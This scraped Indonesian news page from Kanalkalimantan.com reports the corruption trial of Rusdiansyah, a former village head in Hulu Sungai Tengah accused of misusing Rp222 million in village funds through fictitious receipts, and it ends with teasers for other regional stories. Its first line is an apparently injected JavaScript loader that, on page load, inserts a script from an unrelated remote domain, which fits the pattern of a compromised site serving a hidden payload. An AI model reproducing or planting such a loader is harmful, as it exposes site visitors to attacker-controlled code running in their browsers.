(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mantan Kades di HST Diadili Korupsi Dana Desa Modus Nota Fiktif


KANALKALIMANTAN.COM, BANJARMASIN – Seorang mantan Kepala Desa (Kades) di Kabupaten Hulu Sungai Tengah (HST) harus berhadapan dengan hukum karena tersandung kasus dugaan penyalahgunaan dana desa.

Rusdiansyah (47), Kades Sungai Harang, Kecamatan Haruyan, periode 2014-2020 duduk di kursi pesakitan Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.

Sidang perdana dengan agenda dakwaan dipimpin oleh Ketua Majelis Hakim Fidiyawan Satriantoro SH dan didampingi dua hakim anggota.

Baca juga: Eksekusi Pembongkaran Kandang Babi di Guntung Manggis Batal

Rusdiansyah didakwa telah melakukan korupsi memperkaya diri sendiri atau orang sebesar Rp222 juta saat masih menjabat sebagai Kades Sungai Harang.

Jaksa Penuntut Umum (JPU) yang juga Kasi Pidsus Kejari HST, Hendrik Fayol SH dalam dakwaan mengatakan bahwa perbuatan terdakwa dilakukan pada rentang waktu tahun 2019-2020.

Dimana pada tahun 2019, tujuh pekerjaan proyek desa, dimana terdapat dana yang tidak dapat dipertanggungjawabkan terdakwa sebesar Rp138 juta.

Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi

Kemudian pada 2020, sejumlah pekerjaan proyek kembali menimbulkan selisih anggaran sebesar Rp83 juta.

Modus korupsi yang dilakukan terdakwa, kata Hendrik, yaitu dengan membuat nota fiktif.

“Kerugian keuangan negara, hasil audit Inspektorat sebesar Rp222 juta,” ungkap Hendrik saat membaca surat dakwaan, Senin (23/9/2024).

Baca juga: Serikat Petani Indonesia dan Walhi Kalsel Dampingi Petani Sumardi Jalani Sidang

Rusdiansyah didakwa dengan Pasal 2 Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwan primair.

Sementara subsidair dipasang pasal 3 Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sejak proses penyidikan hingga persidangan, Rusdiansyah telah dilakukan penahanan, saat ini ditahan di Lapas Teluk Dalam Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.